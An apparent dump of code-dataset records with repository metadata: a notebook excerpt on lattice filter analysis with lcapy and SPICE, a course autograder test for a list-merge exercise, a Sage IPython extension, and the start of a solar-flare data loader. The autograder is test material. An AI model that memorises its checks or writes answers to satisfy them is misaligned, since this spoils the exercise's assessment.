else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# If you're wondering what a lattice filter is, the fact of the matter is that you have seen them before in terms of bridge circuits. See the following Wikipedia article on Lattice Networks \n# \n# https://www.eeeguide.com/wp-content/uploads/2019/11/Lattice-Network.jpg\n# \n\n# In[119]:\n\n\n#instatate the allpass latice filter to \nallpasslat_lf=lc_balanced_allpass_lowfreq_lattice_filt()\nallpasslat_lf.lcapy_self()\n\n\n# In[120]:\n\n\n#get this filters abstract transfer function\nallpasslat_lf.get_tf(with_values=False)\n\n\n# In[121]:\n\n\n#get this filters transfer function\nallpasslat_lf.get_tf(with_values=True)\n\n\n# In[122]:\n\n\nreset()\n#create the nets; the last one is needed to deal with singularity issues when dealing with lattice circuits and ground\nnet_in=Net('In'); net_out=Net('Out'); net_outlower=Net('Out2')\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n#net_in+=dummy_1[2]\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\n#but need to add dummy resistors to deal with singular issues and get solvable matric\ndummy_botin=R(value=0, ref='dummy')\ndummy_botin[1]+=gnd\n\ndummy_botout=R(value=0, ref='dummy')\ndummy_botout[2]+=gnd\nallpasslat_lf.SKiDl(net_in, dummy_botin[2], net_out, dummy_botout[1])\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# The `dummy_bot*` resistors that are in the simulation are needed in order for SPICE to no longer throw a singular matrix error. Where the test circuit is drawn below. This might not be needed if the output (terminal 3) of the lattice filter was allowed to float. Floating circuits will be discussed in the next section on transformers in detail. Here all inputs and outputs will be referenced to ground.\n\n# In[123]:\n\n\nlat_testcir=kiwi.Circuit()\n\nlat_testcir.add('Vs In 0; down')\nlat_testcir.add('W 0 0_1; down=0.2, sground')\n\nlat_testcir.add('W In U1.l1; right')\nlat_testcir.add('Rdummy 0 U1.l2; right, l=0Ohm')\n\nlat_testcir.add('U1 chip2121; right, l={latice}, pinlabels={l1=0,l2=1, r1=2,r2=3}')\n\nlat_testcir.add('W U1.r1 Out; right')\nlat_testcir.add('Rdummy_1 U1.r2 Out2; right, l=0Ohm')\nlat_testcir.add('W Out2 Out2_1; down=0.2, sground')\n\n\n\nlat_testcir.draw()\n\n\n# In[124]:\n\n\nfilter_responce=qfilter_explorer(circ, 'LC All-Pass Low Frequcy Lattice Filter');\n\n\n# In[125]:\n\n\nfilter_responce.symbolic_tf(allpasslat_lf)\n\n\n# The reason it's diverging and more specifically flipped in phase might be due to how lcapy is treating the `0` as ground when it formulates the modified nodal analysis. As seen below with the lack of a `V_3` term. Going to pass on fixing this right now but it is top of the TODO list for this section\n\n# In[126]:\n\n\nallpasslat_lf.lcapy_self(False, False)\n#also wont convert to laplace\nn=kiwi.NodalAnalysis(allpasslat_lf.schematic)\nn.nodal_equations()\n\n\n# ## Citations:\n# \n# [1] ALL ABOUT ELECTRONICS. \"RC Low Pass Filter Explained,\" YouTube, Aug 20, 2017. [Video file]. Available: https://youtu.be/_2L0l-E1Wx0. [Accessed: Nov 30, 2020].\n# \n# [2] ALL ABOUT ELECTRONICS. \"RC High Pass Filter Explained,\" YouTube, Aug 23, 2017. [Video file]. Available: https://youtu.be/9Dx0b0ukNAM. [Accessed: Nov 30, 2020].\n# \n# [3] ALL ABOUT ELECTRONICS. \"Band Pass Filter and Band Stop Filter Explained,\" YouTube, Sep 2, 2017. [Video file]. Available: https://youtu.be/dmPIydL0lyM. [Accessed: Nov 30, 2020].\n# \n# [4] S. Makarov, R. Ludwig and S. Bitar, Practical electrical engineering. Cham: Springer International Publishing, 2016, pp. 514-515.\n# \n# [5] \"Lattice phase equaliser\", En.wikipedia.org, 2021. [Online]. Available: https://en.wikipedia.org/wiki/Lattice_phase_equaliser. [Accessed: 10- Jan- 2021]. \n# \n# [6] \"Lattice network\", En.wikipedia.org, 2021. [Online]. Available: https://en.wikipedia.org/wiki/Lattice_network. [Accessed: 10- Jan- 2021]. \n# \n# \n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "22f5c013af101afadcce74c233960283f134f022", "size": 143581, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/AC_2/AC_2_RCL_filters.py", "max_stars_repo_name": "PyLCARS/Python-and-SPICE-Book", "max_stars_repo_head_hexsha": "0bf02aa16d97115cea955d33a7aab7e02f8d3453", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2021-01-04T23:56:51.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-22T13:22:30.000Z", "max_issues_repo_path": "_build/jupyter_execute/AC_2/AC_2_RCL_filters.py", "max_issues_repo_name": "PyLCARS/Python-and-SPICE-Book", "max_issues_repo_head_hexsha": "0bf02aa16d97115cea955d33a7aab7e02f8d3453", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/AC_2/AC_2_RCL_filters.py", "max_forks_repo_name": "PyLCARS/Python-and-SPICE-Book", "max_forks_repo_head_hexsha": "0bf02aa16d97115cea955d33a7aab7e02f8d3453", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.1371849738, "max_line_length": 974, "alphanum_fraction": 0.6081375669, "include": true, "reason": "import numpy,import sympy", "num_tokens": 37186, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.18713268216242657, "lm_q1q2_score": 0.08918362836757904}}
{"text": "#!/usr/bin/env python3\n\nimport numpy as np\nimport unittest\nimport timeit\nfrom unittest.mock import patch\nimport copy\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_out\n\nmodule_name=\"src.merge\"\nmerge = load(module_name, \"merge\")\n\n@points('p01-09.1')\nclass Merge(unittest.TestCase):\n\n    def test_non_mutating(self):\n        L1_orig = [1,5,9,12]\n        L2_orig = [2,6,10]\n        L1 = copy.copy(L1_orig)\n        L2 = copy.copy(L2_orig)\n        result = merge(L1, L2)\n        self.assertEqual(L1, L1_orig, msg=\"You are not allowed to modify the input lists!\")\n        self.assertEqual(L2, L2_orig, msg=\"You are not allowed to modify the input lists!\")\n\n    def test_first(self):\n        L1 = [1,5,9,12]\n        L2 = [2,6,10]\n        result = merge(L1, L2)\n        self.assertIsInstance(result, list, f\"merge should return a list. Got {type(result)}\")\n        self.assertEqual(result, sorted(L1+L2), msg=\"Not correct result for input lists %s and %s!\" % (L1,L2))\n\n    def test_random(self):\n        L = sorted(np.random.randint(-100, 100, 30))\n        # Choose randomly 20 elements out of 30 to be in list L1, rest in L2\n        indices = set(np.random.choice(30, 20, replace=False))\n        L1=[]\n        L2=[]\n        for i,x in enumerate(L):\n            if i in indices:\n                L1.append(x)\n            else:\n                L2.append(x)\n        result = merge(L1,L2)\n        self.assertEqual(len(result), len(L), msg=\"Incorrect length of result list for input lists %s and %s!\" % (L1, L2))\n        self.assertEqual(result, L, msg=\"Incorrect result for input lists %s and %s!\" % (L1, L2))\n\n    def test_calls(self):\n        with patch('builtins.sorted') as s:\n            merge([1,5,9,12], [2,6,10])\n            self.assertEqual(sorted.call_count, 0, msg=\"You weren't allowed to use function 'sorted'!\")\n        # The below does not work, because list is defined in C\n        #with patch.object(list, 'sort') as sort_method:\n        with open(\"src/merge.py\") as in_file:\n            for line in in_file:\n                self.assertFalse(\".sort\" in line, \"You weren't allowed to use the 'sort' method\")\n\n\nif __name__ == '__main__':\n    unittest.main()\n\n", "meta": {"hexsha": "0e3ea4191e85327cfcb968b01554367e7f488724", "size": 2171, "ext": "py", "lang": "Python", "max_stars_repo_path": "hy-data-analysis-with-python-spring-2020/part01-e09_merge/test/test_merge.py", "max_stars_repo_name": "Melimet/DAP2020", "max_stars_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hy-data-analysis-with-python-spring-2020/part01-e09_merge/test/test_merge.py", "max_issues_repo_name": "Melimet/DAP2020", "max_issues_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hy-data-analysis-with-python-spring-2020/part01-e09_merge/test/test_merge.py", "max_forks_repo_name": "Melimet/DAP2020", "max_forks_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.921875, "max_line_length": 122, "alphanum_fraction": 0.6075541225, "include": true, "reason": "import numpy", "num_tokens": 585, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.21469142413688416, "lm_q1q2_score": 0.08907522407685779}}
{"text": "\"\"\"\nA Sage extension which adds sage-specific features:\n\n* magics\n  - %loadfile\n  - %attach\n  - %mode (like %maxima, etc.)\n* preparsing of input\n  - also make runfile and attach magics so that the '%' is optional, but encouraged\n* loading Sage library\n* running init.sage\n* changing prompt to Sage prompt\n* Display hook\n\nTESTS:\n\nWe test that preparsing is off for ``%runfile``, on for ``%time``::\n\n    sage: import os, re\n    sage: from sage.misc.interpreter import get_test_shell\n    sage: from sage.misc.misc import tmp_dir\n    sage: shell = get_test_shell()\n    sage: TMP = tmp_dir()\n\nThe temporary directory should have a name of the form\n``.../12345/...``, to demonstrate that file names are not\npreparsed when calling ``%runfile``. ::\n\n    sage: bool(re.search('/[0-9]+/', TMP))\n    True\n    sage: tmp = os.path.join(TMP, 'run_cell.py')\n    sage: f = open(tmp, 'w'); f.write('a = 2\\n'); f.close()\n    sage: shell.run_cell('%runfile '+tmp)\n    sage: shell.run_cell('a')\n    2\n\nIn contrast, input to the ``%time`` magic command is preparsed::\n\n    sage: shell.run_cell('%time 594.factor()')\n    CPU times: user ...\n    Wall time: ...\n    2 * 3^3 * 11\n\"\"\"\n\nfrom IPython.core.hooks import TryNext\nfrom IPython.core.magic import Magics, magics_class, line_magic\nimport os\nimport sys\nimport sage\nimport sage.all\nfrom sage.misc.interpreter import preparser\nfrom sage.misc.preparser import preparse\n\n@magics_class\nclass SageMagics(Magics):\n\n    @line_magic\n    def runfile(self, s):\n        r\"\"\"\n        Loads the code contained in the file ``s``. This is designed\n        to be used from the command line as ``%runfile /path/to/file``.\n\n        :param s: file to be loaded\n        :type s: string\n\n        EXAMPLES::\n\n            sage: import os\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: from sage.misc.misc import tmp_dir\n            sage: shell = get_test_shell()\n            sage: tmp = os.path.join(tmp_dir(), 'run_cell.py')\n            sage: f = open(tmp, 'w'); f.write('a = 2\\n'); f.close()\n            sage: shell.run_cell('%runfile '+tmp)\n            sage: shell.run_cell('a')\n            2\n        \"\"\"\n        from sage.misc.preparser import load_wrap\n        return self.shell.ex(load_wrap(s, attach=False))\n\n    @line_magic\n    def attach(self, s):\n        r\"\"\"\n        Attaches the code contained in the file ``s``. This is\n        designed to be used from the command line as\n        ``%attach /path/to/file``.\n\n        :param s: file to be attached\n        :type s: string\n\n        EXAMPLES::\n\n            sage: import os\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: shell = get_test_shell()\n            sage: tmp = os.path.normpath(os.path.join(SAGE_TMP, 'run_cell.py'))\n            sage: f = open(tmp, 'w'); f.write('a = 2\\n'); f.close()\n            sage: shell.run_cell('%attach ' + tmp)\n            sage: shell.run_cell('a')\n            2\n            sage: sleep(1)  # filesystem timestamp granularity\n            sage: f = open(tmp, 'w'); f.write('a = 3\\n'); f.close()\n\n        Note that the doctests are never really at the command prompt, so\n        we call the input hook manually::\n\n            sage: shell.run_cell('from sage.misc.inputhook import sage_inputhook')\n            sage: shell.run_cell('sage_inputhook()')\n            ### reloading attached file run_cell.py modified at ... ###\n            0\n\n            sage: shell.run_cell('a')\n            3\n            sage: shell.run_cell('detach(%r)'%tmp)\n            sage: shell.run_cell('attached_files()')\n            []\n            sage: os.remove(tmp)\n        \"\"\"\n        from sage.misc.preparser import load_wrap\n        return self.shell.ex(load_wrap(s, attach=True))\n\n    @line_magic\n    def iload(self, s):\n        \"\"\"\n        A magic command to interactively load a file as in MAGMA.\n\n        :param s: the file to be interactively loaded\n        :type s: string\n\n        .. note::\n\n            Currently, this cannot be completely doctested as it\n            relies on :func:`raw_input`.\n\n        EXAMPLES::\n\n            sage: ip = get_ipython()           # not tested: works only in interactive shell\n            sage: ip.magic_iload('/dev/null')  # not tested: works only in interactive shell\n            Interactively loading \"/dev/null\"  # not tested: works only in interactive shell\n        \"\"\"\n        try:\n            name = str(eval(s))\n        except Exception:\n            name = s.strip()\n\n        try:\n            F = open(name)\n        except IOError:\n            raise ImportError, 'could not open file \"%s\"'%name\n\n\n        shell = self.shell\n\n        #We need to update the execution count so that the history for the\n        #iload command and the history for the first line of the loaded\n        #file are not written to the history database with the same line\n        #number (execution count).  This happens since the execution count\n        #is updated only after the magic command is run.\n        shell.execution_count += 1\n\n        print 'Interactively loading \"%s\"'%name\n\n        # The following code is base on IPython's\n        # InteractiveShell.interact,\n        more = False\n        for line in F.readlines():\n            prompt = shell.prompt_manager.render('in' if not more else 'in2', color=True)\n            raw_input(prompt.encode('utf-8') + line.rstrip())\n\n            shell.input_splitter.push(line)\n            more = shell.input_splitter.push_accepts_more()\n            if not more:\n                source, source_raw = shell.input_splitter.source_raw_reset()\n                shell.run_cell(source_raw, store_history=True)\n\n    _magic_display_status = \"simple\"\n    @line_magic\n    def display(self, mode):\n        \"\"\"\n        A magic command to switch between simple display and ASCII art display.\n\n        :param mode: the mode (``ascii_art`` (and optionally a ``width``) or ``simple``)\n        :type s: string\n\n        How to use: if you want activate the ASCII art mod::\n\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: shell = get_test_shell()\n            sage: shell.run_cell('%display ascii_art')\n\n        That means you don't have to use :func:`ascii_art` to get an ASCII art\n        output::\n\n            sage: shell.run_cell(\"i = var('i')\")\n            sage: shell.run_cell('sum(i^2*x^i, i, 0, 10)')\n                 10       9       8       7       6       5       4      3      2\n            100*x   + 81*x  + 64*x  + 49*x  + 36*x  + 25*x  + 16*x  + 9*x  + 4*x  + x\n\n        Then when you want return in 'textual mode'::\n\n            sage: shell.run_cell('%display simple')\n            sage: shell.run_cell('sum(i^2*x^i, i, 0, 10)')\n            100*x^10 + 81*x^9 + 64*x^8 + 49*x^7 + 36*x^6 + 25*x^5 + 16*x^4 + 9*x^3 + 4*x^2 + x\n\n        Sometime you could have to use a special output width and you\n        could specify it::\n\n            sage: shell.run_cell('%display ascii_art')\n            sage: shell.run_cell('StandardTableaux(4).list()')\n            [\n            [                                                                  1  4    1  3\n            [                 1  3  4    1  2  4    1  2  3    1  3    1  2    2       2\n            [   1  2  3  4,   2      ,   3      ,   4      ,   2  4,   3  4,   3   ,   4\n            <BLANKLINE>\n                        1 ]\n                1  2    2 ]\n                3       3 ]\n            ,   4   ,   4 ]\n            sage: shell.run_cell('%display ascii_art 50')\n            sage: shell.run_cell('StandardTableaux(4).list()')\n            [\n            [\n            [                 1  3  4    1  2  4    1  2  3\n            [   1  2  3  4,   2      ,   3      ,   4      ,\n            <BLANKLINE>\n                                                      1 ]\n                              1  4    1  3    1  2    2 ]\n              1  3    1  2    2       2       3       3 ]\n              2  4,   3  4,   3   ,   4   ,   4   ,   4 ]\n            sage: shell.run_cell('%display simple')\n        \"\"\"\n        import displayhook, ascii_art\n        args_split = mode.split(\" \")\n        if len(args_split) < 2:\n            if mode == \"\":\n                self._magic_display_status = \"ascii_art\" \\\n                    if self._magic_display_status == \"simple\" else \"simple\"\n            else:\n                self._magic_display_status = mode\n            ascii_art.MAX_WIDTH = None\n        else:\n            self._magic_display_status =  args_split[0]\n            assert(args_split[0] == \"ascii_art\"), \"if a width is given then the mode must be `ascii_art`\"\n            try:\n                ascii_art.MAX_WIDTH = int(args_split[1])\n            except StandardError:\n                raise AttributeError(\"Second argument must be a non-negative integer\")\n        try:\n            displayhook.SPTextFormatter.set_display(self._magic_display_status)\n        except StandardError:\n            print mode, args_split\n            raise AttributeError(\"First argument must be `simple` or `ascii_art` or the method must be call without argument\")\n\n# SageInputSplitter:\n#  Hopefully most or all of this code can go away when\n#  https://github.com/ipython/ipython/issues/2293 is resolved\n#  apparently we will have stateful transformations then.\n#  see also https://github.com/ipython/ipython/pull/2402\nfrom IPython.core.inputsplitter import (transform_ipy_prompt, transform_classic_prompt,\n                                        transform_help_end, transform_escaped,\n                                        transform_assign_system, transform_assign_magic,\n                                        cast_unicode,\n                                        IPythonInputSplitter)\n\ndef first_arg(f):\n    def tm(arg1, arg2):\n        return f(arg1)\n    return tm\n\nclass SageInputSplitter(IPythonInputSplitter):\n    \"\"\"\n    We override the input splitter for two reasons:\n\n    1. to make the list of transforms a class attribute that can be modified\n\n    2. to pass the line number to transforms (we strip the line number off for IPython transforms)\n    \"\"\"\n\n    # List of input transforms to apply\n    transforms = map(first_arg, [transform_ipy_prompt, transform_classic_prompt,\n                                 transform_help_end, transform_escaped,\n                                 transform_assign_system, transform_assign_magic])\n\n    # a direct copy of the IPython splitter, except that the\n    # transforms are called with the line numbers, and the transforms come from the class attribute\n    # and except that we add a .startswith('@') in the test to see if we should transform a line\n    # (see http://mail.scipy.org/pipermail/ipython-dev/2012-September/010329.html; the current behavior\n    # doesn't run the preparser on a 'def' line following an decorator.\n    def push(self, lines):\n        \"\"\"Push one or more lines of IPython input.\n\n        This stores the given lines and returns a status code indicating\n        whether the code forms a complete Python block or not, after processing\n        all input lines for special IPython syntax.\n\n        Any exceptions generated in compilation are swallowed, but if an\n        exception was produced, the method returns True.\n\n        Parameters\n        ----------\n        lines : string\n          One or more lines of Python input.\n\n        Returns\n        -------\n        is_complete : boolean\n          True if the current input source (the result of the current input\n        plus prior inputs) forms a complete Python execution block.  Note that\n        this value is also stored as a private attribute (_is_complete), so it\n        can be queried at any time.\n        \"\"\"\n        if not lines:\n            return super(IPythonInputSplitter, self).push(lines)\n\n        # We must ensure all input is pure unicode\n        lines = cast_unicode(lines, self.encoding)\n\n        # If the entire input block is a cell magic, return after handling it\n        # as the rest of the transformation logic should be skipped.\n        if lines.startswith('%%') and not \\\n          (len(lines.splitlines()) == 1 and lines.strip().endswith('?')):\n            return self._handle_cell_magic(lines)\n\n        # In line mode, a cell magic can arrive in separate pieces\n        if self.input_mode == 'line' and self.processing_cell_magic:\n            return self._line_mode_cell_append(lines)\n\n        # The rest of the processing is for 'normal' content, i.e. IPython\n        # source that we process through our transformations pipeline.\n        lines_list = lines.splitlines()\n\n        # Transform logic\n        #\n        # We only apply the line transformers to the input if we have either no\n        # input yet, or complete input, or if the last line of the buffer ends\n        # with ':' (opening an indented block).  This prevents the accidental\n        # transformation of escapes inside multiline expressions like\n        # triple-quoted strings or parenthesized expressions.\n        #\n        # The last heuristic, while ugly, ensures that the first line of an\n        # indented block is correctly transformed.\n        #\n        # FIXME: try to find a cleaner approach for this last bit.\n\n        # If we were in 'block' mode, since we're going to pump the parent\n        # class by hand line by line, we need to temporarily switch out to\n        # 'line' mode, do a single manual reset and then feed the lines one\n        # by one.  Note that this only matters if the input has more than one\n        # line.\n        changed_input_mode = False\n\n        if self.input_mode == 'cell':\n            self.reset()\n            changed_input_mode = True\n            saved_input_mode = 'cell'\n            self.input_mode = 'line'\n\n        # Store raw source before applying any transformations to it.  Note\n        # that this must be done *after* the reset() call that would otherwise\n        # flush the buffer.\n        self._store(lines, self._buffer_raw, 'source_raw')\n\n        try:\n            push = super(IPythonInputSplitter, self).push\n            buf = self._buffer\n            for line in lines_list:\n                line_number = len(buf)\n                if (self._is_complete or not buf or\n                    buf[-1].rstrip().endswith((':', ',')) or buf[-1].lstrip().startswith('@')):\n                    for f in self.transforms:\n                        line = f(line, line_number)\n                else:\n                    for f in self.always_transform:\n                        line = f(line, line_number)\n                out = push(line)\n        finally:\n            if changed_input_mode:\n                self.input_mode = saved_input_mode\n        return out\n\n# END SageIPythonInputSplitter\n#\n#\n\nimport displayhook\nclass SageCustomizations(object):\n    startup_code = \"\"\"from sage.all_cmdline import *\nfrom sage.misc.interpreter import sage_prompt\n\"\"\"\n\n    def __init__(self, shell=None):\n        \"\"\"\n        Initialize the Sage plugin.\n        \"\"\"\n        self.shell = shell\n        self.auto_magics = SageMagics(shell)\n        shell.register_magics(self.auto_magics)\n        displayhook.SPTextFormatter = displayhook.SagePlainTextFormatter(config=shell.config)\n        shell.display_formatter.formatters['text/plain'] = displayhook.SPTextFormatter\n        from sage.misc.edit_module import edit_devel\n        self.shell.set_hook('editor', edit_devel)\n        self.init_inspector()\n        self.init_line_transforms()\n        self.register_interface_magics()\n\n        import sage.misc.inputhook\n        sage.misc.inputhook.install()\n\n        # right now, the shutdown hook calling quit_sage() doesn't\n        # work when we run doctests that involve creating test shells.\n        # The test run segfaults right when it exits, complaining\n        # about a bad memory access in the pari_close() function.\n        #self.set_quit_hook()\n\n        if os.environ.get('SAGE_IMPORTALL', 'yes') != 'yes':\n            return\n\n        self.init_environment()\n\n    def register_interface_magics(self):\n        \"\"\"Register magics for each of the Sage interfaces\"\"\"\n        interfaces = sorted([ obj.name()\n                              for obj in sage.interfaces.all.__dict__.values()\n                              if isinstance(obj, sage.interfaces.interface.Interface) ])\n        for name in interfaces:\n            def tmp(line,name=name):\n                self.shell.run_cell('%s.interact()'%name)\n            tmp.__doc__=\"Interact with %s\"%name\n            self.shell.register_magic_function(tmp, magic_name=name)\n\n\n    def set_quit_hook(self):\n        \"\"\"\n        Set the exit hook to cleanly exit Sage.  This does not work in all cases right now.\n        \"\"\"\n        def quit(shell):\n            import sage\n            sage.all.quit_sage()\n        self.shell.set_hook('shutdown_hook', quit)\n\n\n    def init_environment(self):\n        \"\"\"\n        Set up Sage command-line environment\n        \"\"\"\n        try:\n            self.shell.run_cell('from sage.all import Integer, RealNumber')\n        except Exception:\n            import traceback\n            print \"Error importing the Sage library\"\n            traceback.print_exc()\n            print\n            print \"To debug this, you can run:\"\n            print 'sage -ipython -i -c \"import sage.all\"'\n            print 'and then type \"%debug\" to enter the interactive debugger'\n            sys.exit(1)\n        self.shell.run_cell(self.startup_code)\n        self.run_init()\n\n\n    def run_init(self):\n        \"\"\"\n        Run Sage's initial startup file.\n        \"\"\"\n        startup_file = os.environ.get('SAGE_STARTUP_FILE', '')\n        if os.path.exists(startup_file):\n            with open(startup_file, 'r') as f:\n                self.shell.run_cell(f.read(), store_history=False)\n\n    def init_inspector(self):\n        # Ideally, these would just be methods of the Inspector class\n        # that we could override; however, IPython looks them up in\n        # the global :class:`IPython.core.oinspect` module namespace.\n        # Thus, we have to monkey-patch.\n        from sage.misc import sagedoc, sageinspect\n        import IPython.core.oinspect\n        IPython.core.oinspect.getdoc = sageinspect.sage_getdoc #sagedoc.my_getdoc\n        IPython.core.oinspect.getsource = sagedoc.my_getsource\n        IPython.core.oinspect.getargspec = sageinspect.sage_getargspec\n\n    def init_line_transforms(self):\n        \"\"\"\n        Set up transforms (like the preparser).\n        \"\"\"\n        self.shell.input_splitter = SageInputSplitter()\n        import sage\n        import sage.all\n        from sage.misc.interpreter import (SagePromptDedenter, SagePromptTransformer,\n                                           MagicTransformer, SagePreparseTransformer)\n\n        p = SagePreparseTransformer()\n        self.shell.input_splitter.transforms = [SagePromptDedenter(),\n                                                SagePromptTransformer(),\n                                                MagicTransformer(),\n                                                p] + self.shell.input_splitter.transforms\n        self.shell.input_splitter.always_transform = [p]\n\n        preparser(True)\n\n\n# from http://stackoverflow.com/questions/4103773/efficient-way-of-having-a-function-only-execute-once-in-a-loop\nfrom functools import wraps\ndef run_once(f):\n    \"\"\"Runs a function (successfully) only once.\n\n    The running can be reset by setting the `has_run` attribute to False\n    \"\"\"\n    @wraps(f)\n    def wrapper(*args, **kwargs):\n        if not wrapper.has_run:\n            result = f(*args, **kwargs)\n            wrapper.has_run = True\n            return result\n    wrapper.has_run = False\n    return wrapper\n\n@run_once\ndef load_ipython_extension(ip):\n    \"\"\"Load the extension in IPython.\"\"\"\n    # this modifies ip\n    SageCustomizations(shell=ip)\n", "meta": {"hexsha": "227d3213e84c7d1817b767b22b0f4e2202a366f3", "size": 19718, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/sage_extension.py", "max_stars_repo_name": "bopopescu/sage-5", "max_stars_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/misc/sage_extension.py", "max_issues_repo_name": "bopopescu/sage-5", "max_issues_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/sage_extension.py", "max_forks_repo_name": "bopopescu/sage-5", "max_forks_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.7739463602, "max_line_length": 126, "alphanum_fraction": 0.5848463333, "include": true, "reason": "import sage,from sage", "num_tokens": 4532, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4148988457967689, "lm_q2_score": 0.2146914140875998, "lm_q1q2_score": 0.08907521990742133}}
{"text": "\"\"\" Solar Flare Database\n\nThe original dataset and further information can be found here:\n\n    https://archive.ics.uci.edu/ml/datasets/Solar+Flare\n\nBrief description\n-----------------\n\nThis data contains a single observation on 10 variables for 1,389 active\nregions of the Sun. The data was collected to predict solar flare in 24h\nperiod. The original dataset was composed of two subsets with different\nlevel of error correction on the data, however this distinction is not\nmantained here.\n\nAttribute Information:\n    1. Code for class (modified Zurich class)  (A,B,C,D,E,F,H)\n    2. Code for largest spot size              (X,R,S,A,H,K)\n    3. Code for spot distribution              (X,O,I,C)\n    4. Activity                                (1 = reduced, 2 = unchanged)\n    5. Evolution                               (1 = decay, 2 = no growth,\n                                                3 = growth)\n    6. Previous 24 hour flare activity code    (1 = nothing as big as an M1,\n                                                2 = one M1,\n                                                3 = more activity than one M1)\n    7. Historically-complex                    (1 = Yes, 2 = No)\n    8. Did region become historically complex  (1 = yes, 2 = no)\n       on this pass across the sun's disk\n    9. Area                                    (1 = small, 2 = large)\n    10. Area of the largest spot                (1 = <=5, 2 = >5)\n\nFrom all these predictors three classes of flares are predicted, which are\nrepresented in the last three columns.\n\n11. C-class flares production by this region    Number\nin the following 24 hours (common flares)\n12. M-class flares production by this region    Number\nin the following 24 hours (moderate flares)\n13. X-class flares production by this region    Number\nin the following 24 hours (severe flares)\n\n8. Missing values: None\n\n9. Class Distribution:\n\n                  0         1     2    3   4  4  5  6  7  8  Total\nC-class flares 287+884   129+12  7+33  20  0  9  4  3  0  1   1389\nM-class flares 291+1030   24+29  6+ 3  2   2  1  0  1  0  0   1389\nX-class flares 316+1061    7+ 4  0+ 1  0   0  0  0  0  0  0   1389\n\nOriginal Owner and Donor\n------------------------\nGary Bradshaw\n\nEmail: gbradshaw@clipr.colorado.edu\n\n\nReferences\n----------\n\n#TODO: explain that we use class=M>0\n\"\"\"\n\n# Authors: Joan Massich and Guillaume Lemaitre\n# License: MIT\n\nfrom os.path import join, exists\nfrom os import makedirs\ntry:\n    # Python 2\n    from urllib2 import urlretrieve\nexcept ImportError:\n    # Python 3+\n    from urllib import urlretrieve\n\nimport numpy as np\n\nDATA_URL = \"https://archive.ics.uci.edu/ml/machine-learning-databases/solar-flare/\"\nTARGET_FILENAME_ = [\"flare.data1\", \"flare.data2\"]\nRAW_DATA_LABEL = 'solar_flare'\n\ndef get_dataset_home(data_home=None, 